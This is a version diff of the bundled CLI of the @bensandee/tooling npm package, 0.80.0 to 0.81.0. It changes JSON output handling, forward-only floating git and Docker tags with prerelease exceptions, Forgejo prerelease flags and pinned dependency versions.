@bensandee/tooling 0.80.0 → 0.81.0

package/dist/bin.mjs

@@ -78,15 +78,15 @@ function resolveLogLevel(flags) {
 	return "info";
 }
 const isCI$1 = Boolean(process.env["CI"]);
-const out$5 = (msg) => console.log(msg);
+const out$1 = (msg) => console.log(msg);
 const err = (line) => console.error(line);
 /** The plain user-facing adapter -- stdout with level tags, mirroring the pre-unification `log`.
 * The tag is what carries the level once clack's coloured symbol is gone. */
 const plainUserSink = {
-	info: out$5,
-	warn: (msg) => out$5(`[warn] ${msg}`),
-	error: (msg) => out$5(`[error] ${msg}`),
-	success: (msg) => out$5(`[ok] ${msg}`)
+	info: out$1,
+	warn: (msg) => out$1(`[warn] ${msg}`),
+	error: (msg) => out$1(`[error] ${msg}`),
+	success: (msg) => out$1(`[ok] ${msg}`)
 };
 let plainOutput = isCI$1;
 let jsonMode = false;
@@ -188,17 +188,27 @@ const rootLogger = createLogger();
 * purpose: `vitest.config.ts` excludes that file from coverage as entry-point wiring, so any
 * logic worth testing has to live somewhere coverage actually reaches.
 */
-/** True when `rawArgs` ask for JSON mode: the exact token `--json`, no `--help`/`-h`, and not
-* the bare `--version` query. Exact token, so `--json=false` and `--no-json` never match --
-* citty would parse those into `{json: false}`, not into this literal string. A `--json` that
-* arrives as the *value* of a preceding string flag (e.g. `--body --json`) is scanned the same
-* way and is a known, accepted ambiguity: this is a raw-argument scan, not an arg-aware parse. */
+/** True when `rawArgs` ask for JSON mode: a `--json` token (bare or `--json=<truthy>`), no
+* `--help`/`-h`, and not the bare `--version` query. The `=<value>` form is matched because citty
+* coerces a boolean flag that way (`value !== "false"`), so `--json=true` DOES put the command in
+* json mode; matching only the bare token left that invocation with `createCliOutput` suppressing
+* prose into a buffer `runBstCli` never flushed -- zero bytes of output for exit code 0. `--json=false`
+* and `--no-json` stay excluded, the way citty parses them. A `--json` that arrives as the *value*
+* of a preceding string flag (e.g. `--body --json`) is scanned the same way and is a known,
+* accepted ambiguity: this is a raw-argument scan, not an arg-aware parse. */
 function resolveJsonMode(rawArgs) {
-	if (!rawArgs.includes("--json")) return false;
+	if (!rawArgs.some(requestsJson)) return false;
 	if (rawArgs.includes("--help") || rawArgs.includes("-h")) return false;
 	if (rawArgs.length === 1 && (rawArgs[0] === "--version" || rawArgs[0] === "-v")) return false;
 	return true;
 }
+/** One raw token: whether it asks for json mode, mirroring citty's boolean coercion of a value
+* (anything but the literal `false` is truthy). */
+function requestsJson(token) {
+	if (token === "--json") return true;
+	if (!token.startsWith("--json=")) return false;
+	return token !== "--json=false";
+}
 /** The first token that is not a flag and not a flag's value, mirroring citty's own
 * `findSubCommandIndex` for a command whose own `args` is empty (true of `bst`'s top-level
 * command) -- a `--` sentinel ends the scan with no command found, same as citty. */
@@ -229,8 +239,8 @@ function asCommandDef(value) {
 	if (value instanceof Promise) return void 0;
 	return value;
 }
-/** Whether a resolved command declares a `json` argument -- the gate between "granted --json"
-* and the coverage test's `OWED`/`EXEMPT` backlog. */
+/** Whether a resolved command declares a `json` argument -- what the coverage test reads to
+* decide between "granted --json" and its `EXEMPT` list. */
 function commandDeclaresJson(cmd) {
 	if (cmd === void 0) return false;
 	const argsDef = cmd.args;
@@ -397,7 +407,7 @@ function loadEnvFileForBin(rawArgs, io = processIo) {
 		if (resolveJsonMode(rawArgs)) {
 			const document = buildErrorDocument({
 				command: resolveCommandName(rawArgs),
-				version: "0.80.0",
+				version: "0.81.0",
 				kind: "usage",
 				message
 			});
@@ -423,7 +433,7 @@ const envFileLoad = loadEnvFileForBin(process.argv.slice(2));
 //#endregion
 //#region src/utils/log.ts
 const isCI = Boolean(process.env["CI"]);
-const out$4 = (msg) => console.log(msg);
+const out = (msg) => console.log(msg);
 /**
 * The process-wide logger. Kept exported as `log` for the ~43 call sites that predate the unified
 * {@link rootLogger}; new code that needs levels/context imports `Logger` from ./logger.ts.
@@ -432,11 +442,84 @@ const log$1 = rootLogger;
 function note(body, title) {
 	if (isJsonMode()) return;
 	if (isCI) {
-		if (title) out$4(`--- ${title} ---`);
-		out$4(body);
+		if (title) out(`--- ${title} ---`);
+		out(body);
 	} else clack.note(body, title);
 }
 //#endregion
+//#region src/utils/cli-output.ts
+const stdout = (msg) => console.log(msg);
+function initialState() {
+	return {
+		payload: void 0,
+		hasPayload: false,
+		error: void 0,
+		hasError: false,
+		notices: [],
+		wrote: false
+	};
+}
+let state = initialState();
+function isJsonRecord(value) {
+	return typeof value === "object" && value !== null && !Array.isArray(value);
+}
+function createCliOutput(jsonMode) {
+	const effective = jsonMode || isJsonMode();
+	return {
+		json: (payload) => {
+			if (!effective) return;
+			if (state.hasPayload) log$1.debug("cli-output: a second json() call overwrote the first -- last call wins.");
+			state.payload = payload;
+			state.hasPayload = true;
+		},
+		text: (message) => {
+			if (!effective) stdout(message);
+		},
+		notice: (message) => {
+			if (effective) state.notices.push(redact(message));
+			else stdout(message);
+		}
+	};
+}
+/** Replace what {@link flushJsonOutput} writes with an error document, discarding any payload
+* already recorded by `json()` -- buffered notices are not discarded, they fold into the error
+* document the same way they fold into a payload. */
+function recordJsonError(document) {
+	state.error = document;
+	state.hasError = true;
+}
+function buildFlushDocument() {
+	let base;
+	if (state.hasError) base = state.error;
+	else if (state.hasPayload) base = state.payload;
+	if (base === void 0) return void 0;
+	if (state.notices.length === 0) return base;
+	if (isJsonRecord(base)) return {
+		...base,
+		notices: state.notices
+	};
+	return {
+		payload: base,
+		notices: state.notices
+	};
+}
+/** Write the single recorded document -- the error document if `recordJsonError` was called,
+* otherwise the recorded payload, each with buffered notices folded in under `notices` when
+* the buffer is non-empty -- and report whether anything was written. */
+function flushJsonOutput() {
+	const document = buildFlushDocument();
+	if (document === void 0) return false;
+	stdout(JSON.stringify(document));
+	state.wrote = true;
+	return true;
+}
+/** Whether {@link flushJsonOutput} has already written a document this process -- the guard the
+* premature-exit net (`cli-json.ts`) reads to tell a normal flush from a process that died with
+* the command still outstanding. */
+function jsonDocumentWritten() {
+	return state.wrote;
+}
+//#endregion
 //#region src/types.ts
 const LEGACY_TOOLS = [
 	"eslint",
@@ -3849,24 +3932,22 @@ function reconcileTags(expectedTags, remoteTags, stdoutTags) {
 * semantics and the plan that feeds them cannot drift apart.
 */
 const VERSION_PATTERN = /^v?(\d+)\.(\d+)\.(\d+)(?:-([0-9A-Za-z.-]+))?(?:\+[0-9A-Za-z.-]+)?$/;
-/**
-* What `git ls-remote --tags` says about every tag on the remote: tag name to the commit it
-* describes.
-*
-* Keeps the SHA (unlike `parseRemoteTags`, which answers only "does this tag exist") because the
-* forward-only decision compares a floating tag's target against the commits the exact version tags
-* name. An annotated tag appears twice in that listing -- once for the tag object, once peeled with
-* a `^{}` suffix for the commit it points at -- and the peeled line wins: `commit-and-tag-version`
-* (the simple publish path) makes annotated tags, so its object SHA is not the commit anything
-* else agrees on.
-*/
 function parseRemoteTagTargets(lsRemoteStdout) {
 	const targets = /* @__PURE__ */ new Map();
 	for (const line of lsRemoteStdout.split("\n")) {
 		const match = /^([0-9a-f]{7,40})\s+refs\/tags\/(.+)$/.exec(line.trim());
 		if (!match?.[1] || !match[2]) continue;
-		if (match[2].endsWith("^{}")) targets.set(match[2].slice(0, -3), match[1]);
-		else targets.set(match[2], match[1]);
+		if (match[2].endsWith("^{}")) {
+			const name = match[2].slice(0, -3);
+			const existing = targets.get(name);
+			targets.set(name, {
+				ref: existing?.ref ?? match[1],
+				commit: match[1]
+			});
+		} else targets.set(match[2], {
+			ref: match[1],
+			commit: match[1]
+		});
 	}
 	return targets;
 }
@@ -3885,6 +3966,34 @@ function parseReleaseVersion(version) {
 		prerelease: match[4] === void 0 ? [] : match[4].split(".")
 	};
 }
+/**
+* Whether `version` names a prerelease. The one spelling of that question the git publish paths and
+* the Docker registry share, so a beta cannot move a floating ref on one surface and not another.
+*
+* Build metadata (`1.2.3+sha`) is not a prerelease, and neither is a version that will not parse --
+* an unknown fails open everywhere else in this module.
+*/
+function isPrerelease(version) {
+	return (parseReleaseVersion(version)?.prerelease.length ?? 0) > 0;
+}
+/**
+* Whether a bare tag name names a prerelease, without the workspace listing
+* {@link prereleaseTag} in `release/publish/publish.ts` needs.
+*
+* Both tag shapes are tried because a caller reading a tag off `GITHUB_REF` or a CLI flag does not
+* know which strategy published it: the `vX.Y.Z` form first, then the changesets
+* `<name>@<version>` form (whose name can itself contain `@`, hence the last one). A tag neither
+* shape resolves -- a floating ref, or one no package owns -- answers `false`, the same fail-open
+* answer `prereleaseTag`'s doc comment describes: an unknown moves and announces as a release
+* rather than aborting or withholding the announcement.
+*/
+function tagIsPrerelease(tag) {
+	let version = simpleTagFamily().versionOfExact(tag);
+	const separator = tag.lastIndexOf("@");
+	if (version === void 0 && separator > 0) version = changesetsTagFamily(tag.slice(0, separator)).versionOfExact(tag);
+	if (version === void 0) return false;
+	return isPrerelease(version);
+}
 function comparePrereleaseIdentifier(a, b) {
 	const aNumeric = /^\d+$/.test(a);
 	const bNumeric = /^\d+$/.test(b);
@@ -3960,8 +4069,8 @@ function simpleTagFamily() {
 }
 function highestVersionAtSha(family, remote, sha) {
 	let highest;
-	for (const [tag, tagSha] of remote) {
-		if (tagSha !== sha) continue;
+	for (const [tag, target] of remote) {
+		if (target.commit !== sha) continue;
 		const version = family.versionOfExact(tag);
 		if (version === void 0) continue;
 		if (highest === void 0 || compareReleaseVersions(version, highest) > 0) highest = version;
@@ -3975,16 +4084,35 @@ function highestVersionAtSha(family, remote, sha) {
 * the deliberate fail-open: an absent tag, a target no exact tag names (hand-moved, or predating
 * this tooling), and a target named by a tag whose version will not parse all leave the tag free to
 * move. Only a target whose version is known and newer holds it.
+*
+* A prerelease is the exception decided ahead of all of that: it keeps every floating tag, before the
+* remote snapshot is consulted at all.
 */
 function planFloatingTagMoves(family, version, remote) {
-	const targetSha = remote.get(family.exact(version));
+	const targetSha = remote.get(family.exact(version))?.commit;
 	const planned = [];
+	if (isPrerelease(version)) {
+		for (const tag of family.floating(version)) {
+			const observed = remote.get(tag);
+			planned.push({
+				tag,
+				targetSha,
+				observedSha: observed?.commit,
+				observedRef: observed?.ref,
+				decision: "keep",
+				reason: `${version} is a prerelease`
+			});
+		}
+		return planned;
+	}
 	for (const tag of family.floating(version)) {
-		const observedSha = remote.get(tag);
+		const observed = remote.get(tag);
+		const observedSha = observed?.commit;
 		const base = {
 			tag,
 			targetSha,
-			observedSha
+			observedSha,
+			observedRef: observed?.ref
 		};
 		if (observedSha === void 0) {
 			planned.push({
@@ -4062,11 +4190,16 @@ function readRemoteTagTargets(call) {
 	return parseRemoteTagTargets(read.stdout);
 }
 /** Every floating tag of this call that no attempt has settled is a failure. */
-function markUnsettledFailed(call, run, versions) {
-	for (const version of versions) for (const tag of call.family.floating(version)) if (!run.decided.has(tag)) run.outcome.failed.push(tag);
+function markUnsettledFailed(run, entries) {
+	for (const entry of entries) for (const tag of entry.family.floating(entry.version)) if (!run.decided.has(tag)) run.outcome.failed.push(tag);
 }
 /**
-* Move each family's floating tags to `versions`, forward only, one lease push per tag.
+* Move every entry's floating tags forward only, one lease push per tag.
+*
+* Every entry is planned against one remote snapshot per attempt, so a workspace publish reads the
+* tag list once instead of once per package; only tags whose lease was rejected go round again,
+* re-decided against the next attempt's read. The shared decided/rejected sets stay correct across
+* families because their tag names are distinct (`@scope/name@latest` against `latest`/`vX`).
 *
 * The lease is what makes the forward-only rule exact rather than probabilistic: without it, two
 * overlapping runs that read the same target and both decide to move can still finish in the wrong
@@ -4076,11 +4209,10 @@ function markUnsettledFailed(call, run, versions) {
 * `coverage-tracking/history.ts`, except that it ends in a warning rather than a failure, because a
 * stale floating ref costs a reader a wrong `latest`, not a lost release.
 */
-function moveFloatingTags(executor, options, family, versions) {
+function moveFloatingTags(executor, options, entries) {
 	const call = {
 		executor,
-		options,
-		family
+		options
 	};
 	const run = {
 		outcome: {
@@ -4096,12 +4228,12 @@ function moveFloatingTags(executor, options, family, versions) {
 		run.rejected = [];
 		const remote = readRemoteTagTargets(call);
 		if (remote === void 0) {
-			markUnsettledFailed(call, run, versions);
+			markUnsettledFailed(run, entries);
 			return run.outcome;
 		}
-		for (const version of versions) for (const move of planFloatingTagMoves(family, version, remote)) {
+		for (const entry of entries) for (const move of planFloatingTagMoves(entry.family, entry.version, remote)) {
 			if (run.decided.has(move.tag)) continue;
-			applyFloatingMove(call, version, move, run);
+			applyFloatingMove(call, entry, move, run);
 		}
 		if (run.rejected.length === 0) return run.outcome;
 		if (attempt === MAX_FLOATING_TAG_ATTEMPTS) {
@@ -4113,18 +4245,19 @@ function moveFloatingTags(executor, options, family, versions) {
 	return run.outcome;
 }
 /** Decide and act on one planned move, recording the verdict in `run`. */
-function applyFloatingMove(call, version, move, run) {
+function applyFloatingMove(call, entry, move, run) {
 	if (move.decision === "keep" || move.decision === "current") {
 		run.decided.add(move.tag);
 		run.outcome.kept.push(move.tag);
 		log$1.info(`Leaving ${move.tag} alone: ${move.reason}`);
 		return;
 	}
-	const targetSha = move.targetSha ?? localTarget(call, version);
+	const version = entry.version;
+	const targetSha = move.targetSha ?? localTarget(call, entry);
 	if (targetSha === void 0) {
 		run.decided.add(move.tag);
 		run.outcome.failed.push(move.tag);
-		log$1.warn(`Could not resolve the commit for ${move.tag}: no ${call.family.exact(version)} to point it at`);
+		log$1.warn(`Could not resolve the commit for ${move.tag}: no ${entry.family.exact(version)} to point it at`);
 		return;
 	}
 	if (call.options.dryRun) {
@@ -4153,7 +4286,7 @@ function pushFloatingMove(call, move, targetSha, run) {
 		log$1.warn(`Failed to create ${move.tag}: ${describeGitFailure(localTag)}`);
 		return;
 	}
-	const expectation = move.observedSha ?? "";
+	const expectation = move.observedRef ?? "";
 	const lease = `--force-with-lease=refs/tags/${move.tag}:${expectation}`;
 	const push = call.executor.exec("git", [
 		...call.options.git.args,
@@ -4172,8 +4305,8 @@ function pushFloatingMove(call, move, targetSha, run) {
 	run.rejected.push(move.tag);
 }
 /** Where a floating tag should point when the remote read has no exact tag to read the SHA from. */
-function localTarget(call, version) {
-	return resolveTagCommit(call.executor, call.options.cwd, call.family.exact(version));
+function localTarget(call, entry) {
+	return resolveTagCommit(call.executor, call.options.cwd, entry.family.exact(entry.version));
 }
 //#endregion
 //#region src/release/docker.ts
@@ -4571,17 +4704,30 @@ function parseSemver(version) {
 		patch: Number(match[3])
 	};
 }
-/** Generate semver tag variants: latest, vX.Y.Z, vX.Y, vX */
+/** Generate the image tag variants: latest, the exact record tag, vX.Y, vX. Only the record tag
+* carries a prerelease suffix; the floaters name the triple they point at. */
 function generateTags(version) {
-	const { major, minor, patch } = parseSemver(version);
+	const { major, minor } = parseSemver(version);
 	return [
 		"latest",
-		`v${major}.${minor}.${patch}`,
+		exactImageTag(version),
 		`v${major}.${minor}`,
 		`v${major}`
 	];
 }
 /**
+* The image tag that is the record for `version` -- the one a floating tag never is. It spells the
+* version as written, so a prerelease is distinguishable in the registry; `parseSemver` is called
+* only to reject a version that is not a triple at all.
+*
+* Build metadata is dropped rather than carried: `+` is outside Docker's tag grammar
+* (`[a-zA-Z0-9_][a-zA-Z0-9._-]{0,127}`), so spelling it produces a ref `docker tag` rejects.
+*/
+function exactImageTag(version) {
+	parseSemver(version);
+	return `v${version.replace(/^v/, "").split("+")[0]}`;
+}
+/**
 * Build the full image reference. An `imageName` that already carries a registry host
 * (per {@link imageRegistryHost}) is used as written -- `namespace` is ignored -- because
 * prefixing it again would nest a second registry inside the ref. This is safe only because
@@ -4748,27 +4894,25 @@ function runDockerBuild(executor, config) {
 	return { packages };
 }
 /**
-* Run the full Docker publish pipeline:
-* 1. Build all images via runDockerBuild
-* 2. Login to registry
-* 3. Tag each image with semver variants from its resolved version
-* 4. Push all tags
-* 5. Logout from registry
+* Tag a single package's image with all its tags and push them (unless dry-run).
 *
-* A floating tag (`latest`, `vX`, `vX.Y`) moves forward only: its published manifest is read
-* for the version label and left alone when that names a newer version than this run's. The
-* accepted residual window is that a registry offers no compare-and-swap for a tag, so two
-* overlapping runs that both read `latest` before either pushes can still finish in the wrong
-* order -- seconds wide, where an unconditional push was open for a whole run.
+* A prerelease publishes its record tag only: every floating ref is reported as skipped before it
+* is even tagged locally, in a dry run as in a live one, so a beta never displaces the `latest` a
+* deployment pulls.
 */
-/** Tag a single package's image with all its tags and push them (unless dry-run). */
 function tagAndPushPackage(executor, config, pkg, allTags, skipped) {
 	const version = pkg.version ?? "";
+	const prerelease = isPrerelease(version);
 	const tags = generateTags(version);
 	const exactTag = exactImageTag(version);
 	log$1.info(`${pkg.dir} v${pkg.version} -> tags: ${tags.join(", ")}`);
 	for (const tag of tags) {
 		const ref = imageRef(config.registryNamespace, pkg.imageName, tag);
+		if (prerelease && tag !== exactTag) {
+			log$1.info(`Leaving ${ref} alone: ${version} is a prerelease`);
+			skipped.push(ref);
+			continue;
+		}
 		log$1.info(`Tagging ${pkg.imageName} -> ${ref}`);
 		const tagResult = executor.exec("docker", [
 			"tag",
@@ -4797,19 +4941,16 @@ function tagAndPushPackage(executor, config, pkg, allTags, skipped) {
 		if (pushResult.exitCode !== 0) throw new FatalError(`docker push failed: ${pushResult.stderr}`);
 	}
 }
-/** The image tag that is the record for `version` -- the one a floating tag never is. */
-function exactImageTag(version) {
-	const { major, minor, patch } = parseSemver(version);
-	return `v${major}.${minor}.${patch}`;
-}
 /**
 * One image descriptor's config labels, as `docker buildx imagetools inspect --format
 * '{{json .Image}}'` renders them.
 *
-* `Labels` is `null` (not `{}`) for an image built with no labels at all -- Go marshals a nil map
-* to null -- and absent entirely when the manifest carries no config blob. Both read as "no
-* version label", which is the fail-open answer: an unlabelled `latest` moves, exactly as it did
-* before this label existed.
+* `Labels` is absent when the config carries none -- `opencontainers/image-spec`'s `ImageConfig`
+* declares the field with `omitempty`, so a nil or empty map is left out of the JSON rather than
+* rendered as `{}` -- and it may still arrive as `null` when a tool marshals a nil map explicitly.
+* Both read as "no version label", which is the fail-open answer: an unlabelled `latest` moves,
+* exactly as it did before this label existed. Neither half may be dropped from the schema: the
+* optional covers the omitted field, the nullable the explicit null.
 */
 const ImageDescriptorSchema = z.object({ config: z.object({ Labels: z.union([z.record(z.string(), z.string()), z.null()]).optional() }) });
 /** `.Image` for a multi-platform build is a record of descriptors keyed by platform string. */
@@ -4853,6 +4994,20 @@ function readPublishedImageVersion(executor, config, ref) {
 	if (list.success) return versionFromImageManifest(list.data);
 	debug(config, `Unexpected manifest shape for ${ref}; no version label read`);
 }
+/**
+* Run the full Docker publish pipeline:
+* 1. Build all images via runDockerBuild
+* 2. Login to registry
+* 3. Tag each image with semver variants from its resolved version
+* 4. Push all tags
+* 5. Logout from registry
+*
+* A floating tag (`latest`, `vX`, `vX.Y`) moves forward only: its published manifest is read
+* for the version label and left alone when that names a newer version than this run's. The
+* accepted residual window is that a registry offers no compare-and-swap for a tag, so two
+* overlapping runs that both read `latest` before either pushes can still finish in the wrong
+* order -- seconds wide, where an unconditional push was open for a whole run.
+*/
 function runDockerPublish(executor, config) {
 	const { packages } = runDockerBuild(executor, {
 		cwd: config.cwd,
@@ -4899,7 +5054,7 @@ function runDockerPublish(executor, config) {
 		}
 	}
 	log$1.info(`Published ${String(allTags.length)} image tag(s)`);
-	if (skipped.length > 0) log$1.info(`Left ${String(skipped.length)} newer floating tag(s) alone: ${skipped.join(", ")}`);
+	if (skipped.length > 0) log$1.info(`Left ${String(skipped.length)} floating tag(s) alone: ${skipped.join(", ")}`);
 	return {
 		packages,
 		tags: allTags,
@@ -5340,8 +5495,8 @@ function declaredPublishRegistries(targetDir, structure, rootPackageJson) {
 * shape of custom regex manager in the root `renovate.json` can rewrite both this version and this
 * digest (`customManagers` entries scoped to this file).
 */
-const MISE_VERSION = "2026.9.12";
-const MISE_LINUX_X64_SHA256 = "e79ae57945034903aee8aa2ea66b4c7ca9cd4f4edd5a8a78a589cbae6d0f428a";
+const MISE_VERSION = "2026.9.13";
+const MISE_LINUX_X64_SHA256 = "a72f49916b33ba952ba398046c5cc91a58238f0b718fee1d938206ef2af21c6d";
 /** Where generated Forgejo workflows fetch the shared mise setup action: a composite action in
 * `bensandee/common`, on the forge every fleet repo lives on. GitHub cannot reach it; the
 * generators keep inline steps there. */
@@ -5376,7 +5531,9 @@ const IS_MAIN_BRANCH = `github.ref == '${MAIN_BRANCH_REF}'`;
 * version push (`release/publish/version.ts`), the `headBumpedVersion` publish guard plus reading
 * remote tags and releases before acting (`commands/release-changesets.ts`,
 * `release/publish/publish.ts`), and floating git and Docker tags that only move forward
-* (`release/publish/floating-tags.ts`, `release/docker.ts`). On Forgejo the concurrency block is
+* (`release/publish/floating-tags.ts`, `release/docker.ts`). Such a run may also version pending
+* changesets after it publishes -- the stale version-PR merge -- under the same supersession guard
+* and push lease as any other version run. On Forgejo the concurrency block is
 * only a PR-run cancellation mechanism -- it holds a main run in its group and, in Forgejo 16,
 * intermittently fails to release it, which is why main runs get a group of their own there. GitHub's shape stays shared
 * because its queue works: one run, one pending, a newer arrival replacing the pending, so
@@ -6714,7 +6871,7 @@ function buildManagedDevDeps(ctx) {
 	const devDeps = { ...rootDevDeps(ctx.config) };
 	if (!isMonorepo) Object.assign(devDeps, perPackageDevDeps(ctx.config));
 	if (ctx.config.stack !== "none" || ctx.config.ci === "forgejo") devDeps["@bensandee/config"] = isWorkspacePackage(ctx, "@bensandee/config") ? "workspace:*" : "0.14.5";
-	if (!isWorkspacePackage(ctx, "@bensandee/tooling")) devDeps["@bensandee/tooling"] = "0.80.0";
+	if (!isWorkspacePackage(ctx, "@bensandee/tooling")) devDeps["@bensandee/tooling"] = "0.81.0";
 	if (ctx.config.useEslintPlugin && ctx.config.stack !== "none") devDeps["@bensandee/eslint-plugin"] = isWorkspacePackage(ctx, "@bensandee/eslint-plugin") ? "workspace:*" : "0.15.2";
 	if (ctx.config.formatter === "oxfmt") devDeps["oxfmt"] = {
 		"@changesets/cli": "3.0.3",
@@ -8214,7 +8371,9 @@ const ReleaseSchema = z.object({
 	id: z.number(),
 	tag_name: z.string().optional(),
 	created_at: z.string().optional(),
-	published_at: z.string().optional()
+	published_at: z.string().optional(),
+	html_url: z.string().nullish(),
+	prerelease: z.boolean().optional()
 });
 /**
 * Detect the signature of a broken Forgejo release: a `created_at` that maps to
@@ -8267,7 +8426,8 @@ async function createRelease(executor, conn, tag, options = {}) {
 	const payload = {
 		tag_name: tag,
 		name: tag,
-		body: `Published ${tag}`
+		body: `Published ${tag}`,
+		prerelease: options.prerelease ?? false
 	};
 	if (options.target) payload["target_commitish"] = options.target;
 	const res = await executor.fetch(url, {
@@ -8321,6 +8481,35 @@ async function deleteRelease(executor, conn, releaseId) {
 	}));
 }
 /**
+* Flag an existing Forgejo release as a prerelease (`PATCH /repos/{repo}/releases/{id}`).
+*
+* {@link ensureRelease} uses this on the path where the release was already there, so a rerun over
+* a release an earlier unflagged run created can still keep the forge's Latest pointer off a
+* prerelease. It sets the flag and never clears it, which is why the body is fixed at
+* `{ prerelease: true }` and why the write is a fixed-field PATCH: `{ idempotent: true }`, the
+* convention every other fixed-field PATCH in this package passes (see `updateForgejoComment` in
+* `issue-comments.ts`), because a re-sent convergent PATCH is a no-op.
+*
+* The JSON body is {@link createRelease}'s shape (one `Authorization` header plus a content type),
+* but unlike {@link deleteRelease} against the same URL a 404 is **not** tolerated here: a row that
+* vanished mid-run means the flag was not applied, and the caller must know.
+*/
+async function markReleasePrerelease(executor, conn, releaseId, tag) {
+	const url = `${conn.serverUrl}/api/v1/repos/${conn.repository}/releases/${String(releaseId)}`;
+	const res = await executor.fetch(url, {
+		method: "PATCH",
+		headers: {
+			Authorization: `token ${conn.token}`,
+			"Content-Type": "application/json"
+		},
+		body: JSON.stringify({ prerelease: true })
+	}, { idempotent: true });
+	if (!res.ok) throw new TransientError(await forgejoErrorMessage(res, {
+		verb: "edit release",
+		resource: tag
+	}));
+}
+/**
 * Ensure a Forgejo release exists for a tag **with a real created date**.
 *
 * Forgejo stamps a pushed annotated tag's date *asynchronously*; a release
@@ -8339,13 +8528,19 @@ async function deleteRelease(executor, conn, releaseId) {
 * 4. If nothing yields a real date, leave a visible release row (rather than only
 *    an invisible tag) and throw loudly.
 *
-* Returns `"created" | "exists" | "race" | "repaired"`.
+* Returns `{ status, release }` -- see {@link EnsureReleaseOutcome}.
 */
 async function ensureRelease(executor, conn, tag, options = {}) {
 	const attempts = options.attempts ?? SETTLE_ATTEMPTS;
 	const baseDelayMs = options.baseDelayMs ?? SETTLE_BASE_DELAY_MS;
 	const existing = await getReleaseByTag(executor, conn, tag);
-	if (existing && !isEpochReleaseDate(existing.created_at)) return "exists";
+	if (existing && !isEpochReleaseDate(existing.created_at)) {
+		if (options.prerelease === true && existing.prerelease === false) await markReleasePrerelease(executor, conn, existing.id, tag);
+		return {
+			status: "exists",
+			release: releaseRef(existing)
+		};
+	}
 	let current = existing;
 	let repairing = false;
 	for (let attempt = 1; attempt <= attempts; attempt++) {
@@ -8356,10 +8551,13 @@ async function ensureRelease(executor, conn, tag, options = {}) {
 			await settleBackoff(attempt, baseDelayMs);
 		}
 		try {
-			await createRelease(executor, conn, tag);
+			await createRelease(executor, conn, tag, { prerelease: options.prerelease });
 		} catch (error) {
 			const raced = await getReleaseByTag(executor, conn, tag);
-			if (raced && !isEpochReleaseDate(raced.created_at)) return "race";
+			if (raced && !isEpochReleaseDate(raced.created_at)) return {
+				status: "race",
+				release: releaseRef(raced)
+			};
 			current = raced;
 			if (attempt >= attempts) break;
 			log.warn(`Release creation attempt ${String(attempt)}/${String(attempts)} failed: ${describeError(error)}`);
@@ -8367,34 +8565,56 @@ async function ensureRelease(executor, conn, tag, options = {}) {
 			continue;
 		}
 		current = await getReleaseByTag(executor, conn, tag);
-		if (current && !isEpochReleaseDate(current.created_at)) return repairing ? "repaired" : "created";
+		if (current && !isEpochReleaseDate(current.created_at)) return {
+			status: repairing ? "repaired" : "created",
+			release: releaseRef(current)
+		};
 		if (attempt < attempts) log.warn(`Release for ${tag} came back epoch-dated (attempt ${String(attempt)}/${String(attempts)}) -- waiting for Forgejo to settle the tag's date before retrying`);
 	}
-	if (options.target && await recreateTagViaApi(executor, conn, tag, {
+	const recreated = options.target ? await recreateTagViaApi(executor, conn, tag, {
 		target: options.target,
+		prerelease: options.prerelease,
 		current,
 		attempts,
 		baseDelayMs
-	})) return "repaired";
+	}) : null;
+	if (recreated) return {
+		status: "repaired",
+		release: releaseRef(recreated)
+	};
 	throw new TransientError(`Release for ${tag} never got a real (non-epoch) created date after ${String(attempts)} attempts. This is an intermittent Forgejo bug: a pushed tag's date settles asynchronously and a racing release creation freezes it at the Unix epoch (1969/1970). ` + (options.target ? `Recreating the tag via the API did not help -- investigate the server or upgrade Forgejo.` : `Pass the release tag's target commit so the tag can be recreated, or retry the release.`));
 }
 async function recreateTagViaApi(executor, conn, tag, opts) {
-	const { target, current, attempts, baseDelayMs } = opts;
+	const { target, prerelease, current, attempts, baseDelayMs } = opts;
 	log.warn(`Release for ${tag} stayed epoch-dated -- recreating the tag via the API so Forgejo stamps a real date (the tag becomes lightweight)`);
 	if (current) await deleteRelease(executor, conn, current.id);
 	await deleteTag(executor, conn, tag);
 	for (let attempt = 1; attempt <= attempts; attempt++) {
 		try {
-			await createRelease(executor, conn, tag, { target });
+			await createRelease(executor, conn, tag, {
+				target,
+				prerelease
+			});
 		} catch (error) {
 			if (attempt >= attempts) throw new TransientError(`Release for ${tag} was deleted to repair its epoch date, but recreating it from ${target} failed: ${describeError(error)}. The tag no longer exists on the server -- re-push it (or re-run the release) to restore it.`);
 			await settleBackoff(attempt, baseDelayMs);
 			continue;
 		}
 		const recreated = await getReleaseByTag(executor, conn, tag);
-		return Boolean(recreated && !isEpochReleaseDate(recreated.created_at));
+		if (recreated && !isEpochReleaseDate(recreated.created_at)) return recreated;
+		return null;
 	}
-	return false;
+	return null;
+}
+/**
+* The `{ id, url }` projection of a release row carried back to a caller. A server that omits
+* `html_url` yields `url: null` -- the id is still the row's identity.
+*/
+function releaseRef(release) {
+	return {
+		id: release.id,
+		url: release.html_url ?? null
+	};
 }
 /** Exponential backoff (capped) between patient-repair attempts; a non-positive base is a no-op. */
 async function settleBackoff(attempt, baseDelayMs) {
@@ -9943,6 +10163,8 @@ async function generatePnpmWorkspace(ctx) {
 //#region src/generators/claude-hooks.ts
 const HOOK_PATH = ".claude/hooks/bst-hook.mjs";
 const GUIDE_PATH = ".claude/hooks/bst-hook-guide.md";
+const SETTINGS_PATH$1 = ".claude/hooks/bst-hook.settings.json";
+const LegacyAllowKeySchema = z.object({ allow: z.array(z.unknown()).optional() });
 function writeIfChanged(ctx, filePath, content, label) {
 	const existing = ctx.read(filePath);
 	if (existing === content) return {
@@ -9957,8 +10179,34 @@ function writeIfChanged(ctx, filePath, content, label) {
 		description: existing ? `Updated ${label}` : `Generated ${label}`
 	};
 }
+/**
+* Warn about a leftover `allow` array in the settings file, without touching it. The file is
+* user-owned (it also carries `protectedBranches`, which is still read), so this only reports --
+* it never rewrites or strips the stale key.
+*/
+function checkLegacyAllowKey(ctx) {
+	const raw = ctx.read(SETTINGS_PATH$1);
+	if (raw === void 0) return void 0;
+	let parsed;
+	try {
+		parsed = JSON.parse(raw);
+	} catch (_error) {
+		return;
+	}
+	const result = LegacyAllowKeySchema.safeParse(parsed);
+	if (!result.success || !result.data.allow || result.data.allow.length === 0) return void 0;
+	log$1.warn(`${SETTINGS_PATH$1}: the "allow" key is no longer read (there is no allow tier any more). It is safe to remove.`);
+	return {
+		filePath: SETTINGS_PATH$1,
+		action: "skipped",
+		description: "Legacy allow key ignored; left in place"
+	};
+}
 async function generateClaudeHooks(ctx) {
